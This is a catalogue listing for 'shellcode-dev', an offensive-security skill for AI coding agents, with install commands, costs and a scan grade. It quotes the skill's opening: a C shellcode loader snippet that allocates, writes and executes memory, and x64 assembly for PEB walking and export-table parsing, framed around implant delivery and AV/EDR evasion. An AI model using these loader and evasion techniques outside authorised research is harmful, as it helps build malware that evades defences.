shellcode-dev

shellcode-dev is a skill for Claude Code, Codex from jessefmoore/offensive-claude-code. It costs 37 tokens per session (2,126 once invoked), scanned A, a copy of shellcode-dev, MIT.

A guide to writing small machine-code programs that can run from different memory locations, often for low-level security research.

In plain words
What is it for?
Developing x86 and x64 shellcode, converting executable files into shellcode, building loaders, resolving Windows APIs, and studying defensive evasion techniques.
Why use it?
It explains how to make this code locate system functions, avoid common byte restrictions, load correctly, and reduce detection during authorized testing.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit Developing x86 and x64 shellcode, converting executable files into shellcode, building loaders, resolving Windows APIs, and studying defensive evasion techniques.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/jessefmoore/offensive-claude-code/shellcode-dev
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add jessefmoore/offensive-claude-code --skill shellcode-dev
Clone the repo
git clone --depth 1 https://github.com/jessefmoore/offensive-claude-code

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for shellcode-dev

README.md
[![agentmods](https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/shellcode-dev/github.svg)](https://agentmods.dev/skills/jessefmoore/offensive-claude-code/shellcode-dev)
Your own site
<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/shellcode-dev"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/shellcode-dev/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for shellcode-dev

Your own site · 80×15
<a href="https://agentmods.dev/skills/jessefmoore/offensive-claude-code/shellcode-dev"><img src="https://agentmods.dev/badge/skills/jessefmoore/offensive-claude-code/shellcode-dev.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 37 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,126 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin 94% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00037 $0.02126
Opus 5.5 $0.00015 $0.00850
Sonnet 5.5 $0.00007 $0.00425
Haiku 4.5 $0.00004 $0.00213

Measured 1mo ago against content hash f530baec1c1a, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

shellcode-dev scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Origin

This is a copy

94% identical to shellcode-dev — 327 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

skills/shellcode-dev/SKILL.md · 223 lines

How it starts

The opening of the file, as written. The whole thing — 223 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Shellcode Development

When to Activate

  • Writing custom x86/x64 shellcode
  • Implementing position-independent code (PIC)
  • Building shellcode loaders for implant delivery
  • Evading AV/EDR static detection
  • Converting PE files to shellcode
  • Cross-platform shellcode development

Execution Pattern (Allocate-Write-Execute)

Avoid direct PAGE_EXECUTE_READWRITE — prefer two-step:

// 1. Allocate with RW
char *dest = VirtualAlloc(NULL, size, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode
memcpy(dest, shellcode, size);
// 3. Switch to RX (no write permission)
VirtualProtect(dest, size, PAGE_EXECUTE_READ, &old);
// 4. Execute
((void(*)())dest)();

Position-Independent Code (PIC)

Method Platform Notes
Call/Pop Windows Push next addr, pop into register
FPU state (fstenv) Windows Saves instruction pointer
SEH Windows Exception handler stores EIP
RIP-relative x64 lea rax, [rip+offset]
GOT Linux Global Offset Table
VDSO Linux Kernel-provided shared object

Windows API Resolution (PEB Walk)

; x64 PEB walk to find kernel32.dll base
find_kernel32:
    xor rcx, rcx
    mov rax, gs:[rcx + 0x60]       ; RAX = PEB
    mov rax, [rax + 0x18]          ; RAX = PEB->Ldr
    mov rsi, [rax + 0x20]          ; RSI = InMemoryOrderModuleList
    lodsq                           ; skip first entry (exe)
    xchg rax, rsi
    lodsq                           ; skip ntdll
    mov rbx, [rax + 0x20]          ; RBX = kernel32 base address

Export Address Table (EAT) Parsing

; Parse EAT to find GetProcAddress
    mov ebx, [rbx + 0x3C]          ; PE signature offset
    add rbx, r8                     ; PE header
    mov edx, [rbx + 0x88]          ; Export Directory RVA
    add rdx, r8                     ; Export Directory VA
    mov r10d, [rdx + 0x14]         ; NumberOfFunctions
    mov r11d, [rdx + 0x20]         ; AddressOfNames RVA
    add r11, r8                     ; AddressOfNames VA
    ; Loop through names, compare hash/string

Read the full file on GitHub · 223 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 223 lines · 37 tokens per session scan A f530baec1c1a

Subscribe to this mod's changes

shellcode-dev is a skill published in the GitHub repository jessefmoore/offensive-claude-code (2 stars, last pushed 1mo ago), licensed MIT. It adds 37 tokens to every session and 2,126 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 94% identical to shellcode-dev, differing in 327 lines, and is treated as a copy.

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